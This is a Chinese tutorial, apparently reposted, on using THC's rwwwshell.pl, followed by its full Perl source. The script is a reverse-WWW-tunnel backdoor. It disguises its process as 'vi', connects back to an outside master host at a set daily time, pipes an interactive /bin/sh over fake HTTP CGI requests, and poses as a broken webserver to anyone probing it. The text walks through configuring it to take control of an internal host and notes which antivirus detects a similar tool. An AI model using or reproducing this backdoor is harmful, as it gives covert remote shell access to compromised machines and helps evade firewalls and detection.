首先修改rwwwshell.pl的一些配置，更改程序内$SERVER的地址，这个地址就是外部主机地址，还有$TIME的时间，此时间为到这个时候，内部主机开始连接外部主机。在外部主机上运行
c:\perl rwwwshell.pl
Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...
Introduction: Wait for your SLAVE to connect, examine it\''s output and then
type in your commands to execute on SLAVE. You\''ll have to
wait min. the set $DELAY seconds before you get the output
and can execute the next stuff. Use ";" for multiple commands.
Trying to execute interactive commands may give you headache
so beware. Your SLAVE may hang until the daily connect try
(if set - otherwise you lost).
You also shouldn\''t try to view a binary data too ;-)
"echo bla >> file", "cat >> file <<- EOF", sed etc. are your
friends if you don\''t like using vi in a delayed line mode ;-)
To exit this program on any time without doing harm to either
MASTER or SLAVE just press Control-C.
Now have fun.
Waiting for connect ...
然后在内部主机上运行
[root@xxx.com]#perl rwwwshell.pl -slave
starting in slave mode
当到了$TIME时间时，你的外部主机上就可看到
[root@xxx.com]#
这时你就是这台内部主机的主人了。
用这个程序需注意，被控端也就是内部主机只能是Linux(UNIX未试过),在win2000下运行，当$TIME到时，主控端会报错，所以我想这个程序是为Linux编的，不过不要紧，至少我们学到了一种思路。
前几天，我在xfocus.org上发现一程序wollf，也具有反向连接功能,有兴趣的朋友不妨试一试，此程序功能很强大，但有一点遗憾，这个wollf会被最新的Norton AntiVirus查出。
附rwwwshell.pl
#!/usr/bin/perl
# Reverse-WWW-Tunnel-Backdoor v1.5
# (c) 1998 by van Hauser / [THC] - The Hacker''s Choice
# Check out http://r3wt.base.org for updates
#
# GENERAL CONFIG (except for $MASK, everything must be the same
# for MASTER and SLAVE is this section!)
#
$CGI_PREFIX="/cgi-bin/order?";# should look like cgi. "?" as last char!
$MASK="vi";# for masking the program''s process name
$PASSWORD="THC";# anything, nothing you have to rememeber
# (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;# on which port to listen (80 [needs root] or 8080)
$SERVER="192.168.0.188";# the host to run on (ip/dns) (the SLAVE needs this!)
#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i";# program to execute (e.g. /bin/sh)
$DELAY="3";# time to wait for output after your command(s)
$TIME="12:25";# time when to connect to the master (unset if now)
$DAILY="sure";# tries to connect once daily if set with something
$PROXY="";# set this with the Proxy if you must use one
$PROXY_PORT="";# set this with the Proxy Port if you must use one
# END OF CONFIG# nothing for you to do after this point #
################## BEGIN MAIN CODE ##################
require 5.002;
use Socket;
$│=1;# next line changes our process name
if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
undef $DAILY if (! $TIME);
if ( !($PROXY) ││ !($PROXY_PORT) ) {
undef $PROXY;
undef $PROXY_PORT;
}
$protocol = getprotobyname(''tcp'');
if ($ARGV[0] ne "") {
if ($ARGV[0] eq "-h") {
print STDOUT "no commandline option : daemon mode\n";
print STDOUT "using \"-h\" as option : this help\n";
print STDOUT "any other option : slave mode\n";
exit(0);
} else {
print STDOUT "starting in slave mode\n";
$SLAVE_MODE = "yeah";
}
}
if (! $SLAVE_MODE) {
&master;
} else {
&slave;
}
# END OF MAIN FUNCTION
############### SLAVE FUNCTION ###############
sub slave {
$pid = 0;
if ($PROXY) {# setting the real config (for Proxy Support)
$REAL_SERVER = $PROXY;
$REAL_PORT = $PROXY_PORT;
$REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
. $CGI_PREFIX;
} else {
$REAL_SERVER = $SERVER;
$REAL_PORT = $LISTEN_PORT;
$REAL_PREFIX = "GET " . $CGI_PREFIX;
}
AGAIN:if ($pid) { kill 9, $pid; }
if ($TIME) {# wait until the specified $TIME
$TIME =~ s/^0//;$TIME =~ s/:0/:/;
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
= localtime(time);
$t=$hour . ":" . $min;
while ($TIME ne $t) {
sleep(28); # every 28 seconds we look at the watch
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
= localtime(time);
$t=$hour . ":" .$min;
}
}
if ($DAILY) {# if we must connect daily, we
if (fork) {# we fork the daily shell process
sleep(69);# to ensure the master control proc.
goto AGAIN;# won''t get stuck by a fucking cmd
}# the user executed.
}
$address = inet_aton($REAL_SERVER) ││ die "can''t resolve server\n";
$remote = sockaddr_in($REAL_PORT, $address);
$forked = 0;
GO:close(THC);
socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
or die "can''t create socket\n";
setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
if (! $forked) {# fork failed? fuck, let''s try again
pipe R_IN, W_IN; select W_IN; $│=1;
pipe R_OUT, W_OUT; select W_OUT; $│=1;
$pid = fork;
if (! defined $pid) {
close THC;
close R_IN;close W_IN;
close R_OUT;close W_OUT;
goto GO;
}
$forked = 1;
}
if (! $pid) { # this is the child process (execs $SHELL)
close R_OUT;close W_IN;close THC;
open STDIN, "<&R_IN";
open STDOUT, ">&W_OUT";
open STDERR, ">&W_OUT";
exec $SHELL ││ print W_OUT "couldn''t spawn $SHELL\n";
close R_IN; close W_OUT;
exit(0);
} else { # this is the parent (data control + network)
close R_IN;
sleep($DELAY);# we wait $DELAY for the commands to complete
vec($rs, fileno(R_OUT), 1) = 1;
select($r = $rs, undef, undef, 30);
sleep(1);
$output = "";
vec($ws, fileno(W_OUT), 1) = 1;
while (select($w = $ws, undef, undef, 1)) {
read R_OUT, $readout, 1 ││ last;
$output = $output . $readout;
}
print W_OUT "\000" ││ goto END;
while (1) {
read R_OUT, $readout, 1 ││ last;
last if ($readout eq "\000");
$output = $output . $readout;
}
&uuencode;# does the encoding of the shell output
$encoded = $REAL_PREFIX . $encoded . "\n";
connect(THC, $remote) ││ goto END;# connect to master
send (THC, $encoded, 0) ││ goto END;# and send data
$input = "";
vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
while (! select($r = $rt, undef, undef, 0.00001)) {}
while (1) {# read until EOD (End Of Data)
recv (THC, $readin, 1, 0) ││ goto OK;
goto OK if (($readin eq "\000") or ($readin eq "\n")
or ($readin eq ""));
$input = $input . $readin;
}
OK:$input =~ s/\n//gs;
&uudecode;# decoding the data from the master
goto END if ( $decoded =~ m/^$PASSWORD/s == 0);
$decoded =~ s/^$PASSWORD//;
print W_IN "$decoded" ││ goto END;# sending the data
sleep(1);# to the shell proc.
goto GO;
}
END:kill 9, $pid;$pid = 0;
exit(0);
} # END OF SLAVE FUNCTION
############### MASTER FUNCTION ###############
sub master {
socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
or die "can''t create socket\n";
setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) ││ die "can''t bind\n";
listen(THC, 3) ││ die "can''t listen\n";# print the HELP
print STDOUT ''
Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...
Introduction: Wait for your SLAVE to connect, examine it\''s output and then
type in your commands to execute on SLAVE. You\''ll have to
wait min. the set $DELAY seconds before you get the output
and can execute the next stuff. Use ";" for multiple commands.
Trying to execute interactive commands may give you headache
so beware. Your SLAVE may hang until the daily connect try
(if set - otherwise you lost).
You also shouldn\''t try to view a binary data too ;-)
"echo bla >> file", "cat >> file <<- EOF", sed etc. are your
friends if you don\''t like using vi in a delayed line mode ;-)
To exit this program on any time without doing harm to either
MASTER or SLAVE just press Control-C.
Now have fun.
'';
YOP:print STDOUT "\nWaiting for connect ...";
$remote=accept (S, THC) ││ goto YOP;# get the connection
($r_port, $r_slave)=sockaddr_in($remote);# and print the SLAVE
$slave=gethostbyaddr($r_slave, AF_INET);# data.
$slave="unresolved" if ($slave eq "");
print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
select S;$│=1;
select STDOUT;$│=1;
$input = "";
vec($socks, fileno(S), 1) = 1;
while (1) {# read the data sent by the slave
while (! select($r = $socks, undef, undef, 0.00001)) {}
recv (S, $readin, 80, 0) ││ print STDOUT "disconnected\n";
$readin =~ s/\r//g;
$input = $input . $readin;
last if ( $input =~ m/\n\n/s );
}
&hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
$input =~ s/^.*($CGI_PREFIX)\??//s;
$input =~ s/\n.*$//s;
&uudecode;# decoding the data from the slave
&hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
$decoded =~ s/^$PASSWORD//s;
$decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
print STDOUT "$decoded";# showing the slave output to the user
$output =
&uuencode;# encode the data for the slave
send (S, $encoded, 0) ││ die "\nconnection lost!\n";# and send it
close (S);
print STDOUT "sent.\n";
goto YOP;# wait for the next connect from the slave
} # END OF MASTER FUNCTION
###################### MISC. FUNCTIONS #####################
sub uuencode {# does the encoding stuff for error-free data transfer via WWW
$output = $PASSWORD . $output;# PW is for error checking and
$uuencoded = pack "u", "$output";# preventing sysadmins from
$uuencoded =~ tr/''\n)=(:;&><,#$*%]!\@"`\\\-''# sending you weird
/''zcadefghjklmnopqrstuv''# data. No real
/;# security!
$uuencoded =~ tr/"''"/''b''/;
if ( ($PROXY) && ($SLAVE_MODE) ) {# a proxy drops the request if > 8kb
$codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
$cut_length = 4099 - (length $REAL_PREFIX);
$uuencoded = pack "a$cut_length", $uuencoded
if ($codelength > 4111);
}
$encoded = $uuencoded;
$encoded = $encoded . " HTTP/1.0\n" if ($SLAVE_MODE);
} # END OF UUENCODE FUNCTION
sub uudecode {# does the decoding of the data stream
$input =~ tr/''zcadefghjklmnopqrstuv''
/''\n)=(:;&><,#$*%]!\@"`\\\-''
/;
$input =~ tr/''b''/"''"/;
$decoded = unpack "u", "$input";
} # END OF UUDECODE FUNCTION
sub hide_as_broken_webserver {# invalid request -> look like broken server
send (S, "\n\n".
"\n
File Not Found
\n\n", 0);
close S;
print STDOUT "Warning! Illegal server access!\n"; # report to user
goto YOP;
} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
转载地址：http://www.netsp.com.cn/Article/netsafe/FW/200506/20050602132002.html
